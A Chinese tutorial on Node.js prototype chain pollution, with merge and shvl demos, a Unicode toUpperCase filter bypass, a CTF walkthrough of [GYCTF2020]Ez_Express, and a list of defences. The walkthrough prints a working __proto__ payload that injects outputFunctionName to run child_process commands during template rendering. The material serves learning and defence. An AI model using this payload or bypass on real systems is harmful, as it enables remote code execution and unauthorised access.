在攻防世界和CTF比赛中见过几道Nodejs原型链污染的题目,发现这是一个常考点,不得不整理了。
首先解释一下原型链
Nodejs原型链
工作原理
Node.js 中的原型链(Prototype Chain
)是JavaScript实现继承的一种机制。每个对象都有一个内部链接,指向另一个对象,这个对象被称为其原型。
具体来说,原型链的工作原理如下:
- 当访问一个对象的属性或方法时,首先在该对象自身中查找。
- 如果找不到,就去其原型对象中查找。
- 如果在原型对象中也找不到,就继续向上查找,直到找到为止或者到达
Object.prototype
为止。 - 如果在
Object.prototype
中也没有找到,则返回null。
例如,考虑以下代码:
// 定义 Parent 构造函数
function Parent(name) {
this.name = name; // 给 Parent 实例添加一个 name 属性
}
// 在 Parent 的原型上定义方法
Parent.prototype = {
constructor: Parent, // 保持 constructor 指向 Parent
greet: function() {
console.log("Hello!"); // 定义 greet 方法,输出 "Hello!"
}
};
// 定义 Child 构造函数
function Child(caretaker) {
this.caretaker = caretaker; // 给 Child 实例添加一个 caretaker 属性
}
// 设置 Child 的原型为一个新的 Parent 实例
Child.prototype = new Parent("Default Parent");
// 创建一个 Child 的实例
var kid = new Child("Ms. Caretaker");
// 访问 kid 的属性和方法
console.log(kid.caretaker); // 输出: Ms. Caretaker
console.log(kid.name); // 输出: Default Parent
kid.greet(); // 输出: Hello!
访问 kid
的 caretaker
和 name
属性,以及 greet
方法。由于 kid
继承自 Parent
,它可以访问 Parent
的 name
属性和 greet
方法。
常见的Nodejs-web框架:
- Express.js
- NestJS
- Koa.js
- Hapi.js
- Adonis.js
__proto__和prototype
在Node.js 中,__proto__
和prototype
是与对象的原型链紧密相关的两个概念。
prototype
属性:prototype
是函数对象的一个属性,指向一个对象。这个对象包含了所有通过该函数创建的实例共享的属性和方法。- 函数对象通过其
prototype
属性来定义继承关系,即当一个新对象被实例化时,它的原型会自动指向该函数对象的prototype
。 - 每个函数都有一个特殊的
prototype
属性,用于指定该函数创建的所有实例的共享属性和方法。
__proto__
属性:__proto__
是一个对象的内置属性,用于指向该对象的实际原型。对于大多数对象来说,这个属性指向的是其构造函数的prototype
属性所指向的对象。- 在ES6中,推荐使用
Object.getPrototypeOf ()
方法来获取对象的原型,而不是直接访问__proto__
。 - 对于数组和对象字面量创建的对象,
__proto__
通常指向相应的默认原型(如Array.prototype
或Object.prototype
)。
关系与区别
- 关系: 每个对象的
__proto__
属性都指向其原型对象,而该原型对象的prototype
属性则定义了该原型对象所拥有的属性和方法。 - 区别:
prototype
是一个静态属性,用于描述类或构造函数的行为和属性。__proto__
是一个动态属性,用于实际访问和修改对象的原型。
const o = {
a: 1,
b: 2,
// __proto__ 设置了 [[Prototype]]。它在这里被指定为另一个对象字面量。
__proto__: {
b: 3,
c: 4,
__proto__: {
d: 5,
},
},
};
// { a: 1, b: 2 } ---> { b: 3, c: 4 } ---> { d: 5 } ---> Object.prototype ---> null
console.log(o.d); // 5
原型链的污染
原型链污染的核心在于控制某个对象的原型,从而影响所有基于该原型创建的对象。
从上面的简单介绍我们可以知道**原型链的特性:**每个对象都有一个指向其原型的内部链接(即 __proto__
),当访问某个对象不存在的属性时,会沿着原型链向上查找,从该对象的构造函数的 prototype
开始,直到找到 Object.prototype
为止。
因此,攻击者可以利用这个特性进行原型链的污染:通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码。
原型链污染示例
// 正常情况下定义一个简单的对象
let user = {
name: "Alice",
age: 25
};
// 访问 user 对象的属性
console.log(user.name); // 输出: Alice
console.log(user.age); // 输出: 25
// 攻击者进行原型链污染
Object.prototype.isAdmin = true;
// 访问 user 对象的新属性
console.log(user.isAdmin); // 输出: true
解释
-
原型链污染:
- 攻击者通过覆盖
Object.prototype
,向所有对象注入了一个新的属性isAdmin
。
- 攻击者通过覆盖
-
访问被污染的属性:
- 由于
user
对象没有定义isAdmin
属性,当访问user.isAdmin
时,会沿着原型链向上查找,最终在Object.prototype
找到该属性。
- 由于
哪些情况下原型链会被污染?
在实际应用中,原型链可能会在以下几种情况下被攻击者修改:
Object Merge
在对象合并过程中,如果能够控制合并操作的键名,就可能导致原型链污染。考虑一个简单的对象合并函数:
function merge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key)) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
}
在这个合并过程中,存在赋值操作 target[key] = source[key]
。如果 key
是 __proto__
,是不是就会导致原型链污染呢?
我们可以用以下代码实验一下:
let o1 = {};
let o2 = {a: 1, "__proto__": {b: 2}};
merge(o1, o2);
console.log(o1.a); // 输出: 1
console.log(o1.b); // 输出: undefined
let o3 = {};
console.log(o3.b); // 输出: undefined
结果是,**虽然合并成功了,但原型链没有被污染。**这是因为在 JavaScript 中创建 o2
的过程中(let o2 = {a: 1, "__proto__": {b: 2}}
),__proto__
已经代表 o2
的原型了。在遍历 o2
的键名时,_proto_ 不被视为一个键名,因此不会修改 Object 的原型。
使用 JSON 解析
为了让 __proto__
被视为一个键名,我们可以使用 JSON 解析(JSON.parse
):
let o1 = {};
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(o1, o2);
console.log(o1.a); // 输出: 1
console.log(o1.b); // 输出: 2
let o3 = {};
console.log(o3.b); // 输出: 2
在这种情况下,o3
对象存在 b
属性,说明 Object
已经被污染。这是因为在 JSON 解析的过程中,__proto__
被认为是一个真正的键名,而不代表“原型”,所以在遍历 o2
时会存在这个键。
shvl
在原型链污染中,shvl
也是一个关键的技术手段。
shvl
是一个用于操作对象属性的库,其版本从 1.0.0 到 2.0.1 之间存在原型链污染漏洞。该漏洞允许攻击者通过注入特定的数据来修改对象的原型属性,可能引发拒绝服务或远程代码执行等严重后果。
具体来说,攻击者可以利用 shvl.set
方法或其他相关功能,向对象注入恶意数据,从而实现对原型链的污染。
示例
假设我们使用了一个受漏洞影响的 shvl
库版本:
const shvl = require('shvl');
// 正常情况下
let obj = {};
shvl.set(obj, 'key', 'value');
console.log(obj.key); // 输出: value
// 恶意利用
shvl.set(obj, '__proto__.isAdmin', true);
console.log(obj.isAdmin); // 输出: undefined
console.log(({}).isAdmin); // 输出: true, 原型链已被污染
Trick(js大小写特性)
对于toUpperCase()
函数
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
实战演示
[GYCTF2020]Ez_Express
1、打开页面,提示需要用大写的ADMIN
进行登录,尝试自己注册一个账户发现是无法登录的。
使用ADMIN账户名进行注册回显forbid word
;使用ADMIN账户名进行登录回显error passwd
。
2、扫描一下网站,发现扫不出来,使用burpsuite进行抓包爆破网站源码文件名,得到www.zip
3、下载压缩包解压并审计代码可以得到,routes文件夹下的index.js
里的代码是最重要的:
var express = require('express'); // 引入Express模块
var router = express.Router(); // 创建路由对象
// 判断是否为对象
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
// 合并对象,将对象b的属性合并到对象a中
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]); // 递归合并嵌套的对象
} else {
a[attr] = b[attr]; // 直接赋值属性
}
}
return a; // 返回合并后的对象
}
// 克隆对象
const clone = (a) => {
return merge({}, a); // 合并到一个新的空对象中
}
// 检查传入的关键词是否包含“admin”,如果包含则返回该关键词,否则返回undefined。
function safeKeyword(keyword) {
if (keyword.match(/(admin)/is)) {
return keyword;
}
return undefined;
}
// 处理GET请求,根路径/
router.get('/', function (req, res) {
if (!req.session.user) { // 如果没有用户会话,重定向到登录页面
res.redirect('/login');
} else {
res.outputFunctionName = undefined; // 将outputFunctionName设为undefined
res.render('index', { user: req.session.user.user }); // 渲染index页面,并传递用户信息
}
});
// 处理GET请求,/login路径
router.get('/login', function (req, res) {
res.render('login'); // 渲染login页面
});
// 处理POST请求,/login路径
router.post('/login', function (req, res) {
if (req.body.Submit == "register") {
if (safeKeyword(req.body.userid)) { // 注册时调用safeKeyword函数检查用户名是否包含“admin”,如果包含则提示错误
res.end("<script>alert('forbid word');history.go(-1);</script>");
} else {
req.session.user = {
'user': req.body.userid.toUpperCase(), // 创建会话时,用户ID被转换为大写
'passwd': req.body.pwd,
'isLogin': false
};
res.redirect('/'); // 重定向到根路径
}
} else if (req.body.Submit == "login") {
if (!req.session.user) {
res.end("<script>alert('register first');history.go(-1);</script>");
} else if (req.session.user.user == req.body.userid && req.body.pwd == req.session.user.passwd) {
req.session.user.isLogin = true; // 登录成功
} else {
res.end("<script>alert('error passwd');history.go(-1);</script>"); // 密码错误
}
res.redirect('/'); // 重定向到根路径
}
});
// 处理POST请求,/action路径
router.post('/action', function (req, res) {
if (req.session.user.user != "ADMIN") { // 只有用户名为“ADMIN”的用户才能执行此操作
res.end("<script>alert('ADMIN is asked');history.go(-1);</script>");
} else {
req.session.user.data = clone(req.body); // 克隆请求体数据到会话数据
res.end("<script>alert('success');history.go(-1);</script>");
}
});
// 处理GET请求,/info路径
router.get('/info', function (req, res) {
res.render('index', { user: res.outputFunctionName }); // 渲染index页面,并传递outputFunctionName
})
// 导出路由模块
module.exports = router;
4、其中最核心的function是safekeyword
,这个函数用于检查传入的关键词是否包含“admin”,如果包含则返回该关键词,否则返回undefined。
但是网站又需要我们使用大写ADMIN进行登录,那我们的突破口就是toUpperCase()
函数,前面的Trick提到,字符"ı"
经过toUpperCase
处理后结果为 "I"
,那我们可以利用这个点来绕过safekeyword
函数的检查
5、我们回到login页面,输入ADMıN
进行注册,得知flag的所在,但是没有任何回显,只能继续审计代码
6、一直想着登录进入网站,却忽略了代码中有一段重要代码,这是一个Express框架,里面的对象merge
可以控制__proto__
,可能会导致原型链污染。
7、留意到这个代码文件在渲染时都有outputFunctionName
,查找资料猜测应该存在一个代码注入的 RCE:
outputFunctionName
成员在 express 配置的时候并没有给他赋值,默认也是未定义,即undefined
。- 但是在有原型链污染的前提下,我们可以控制基类的成员。这样我们给
Object
类创建一个成员outputFunctionName
,并将我们控制的成员outputFunctionName
赋值为一串恶意代码,从而造成代码注入。 - 在后面模版渲染的时候,注入的代码就会被执行
8、在使用ADMIN注册后,使用burpsuite进行抓包,将Content-Type
改成json
格式,然后把payload放到最后即可
payload:{"__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}
9、放包后会弹出success弹窗,点击刷新网页就会自动下载flag文件,打开即得flag
防御措施
严格验证输入:
- 对所有用户输入进行严格的验证和过滤,确保不会包含恶意的JSON数据。
- 使用强类型的验证库,如
Joi
、yup
等,来确保输入的数据符合预期的格式和类型。
避免使用危险的API:
- 尽量避免使用容易引起原型链污染的API,如
Object.assign
和某些第三方库中的方法。 - 考虑使用安全的替代方法,如
Object.create(null)
来创建没有原型链的对象,从而避免污染。
使用白名单策略:
- 只允许白名单中的属性和方法被修改,防止未授权的操作。
- 使用
Object.freeze
或Object.seal
来锁定对象,使其属性不可添加或删除,从而减少被污染的风险。
定期更新依赖库:
- 及时更新所有使用的第三方库,以修复已知的安全漏洞。
- 使用工具如
npm audit
或Snyk
来检测和修复依赖项中的安全问题。
使用对象属性定义方法:
- 使用
Object.defineProperty
来定义对象属性,从而更好地控制属性的可配置性、可枚举性和可写性。
限制原型修改:
- 避免直接修改原型链,尤其是
Object.prototype
。如果必须扩展原型链,应尽量使用局部的、独立的原型对象。 - 使用
Object.create(null)
创建纯净的空对象,不继承Object.prototype
,从而避免原型链污染。 Object.freeze
用于锁定对象,防止其属性被添加、删除或修改。
参考文章:
浅析CTF中的Node.js原型链污染 - FreeBuf网络安全行业门户
继承与原型链 - JavaScript | MDN (mozilla.org)
【网络安全系列】JavaScript原型链污染攻击总结_shvl-CSDN博客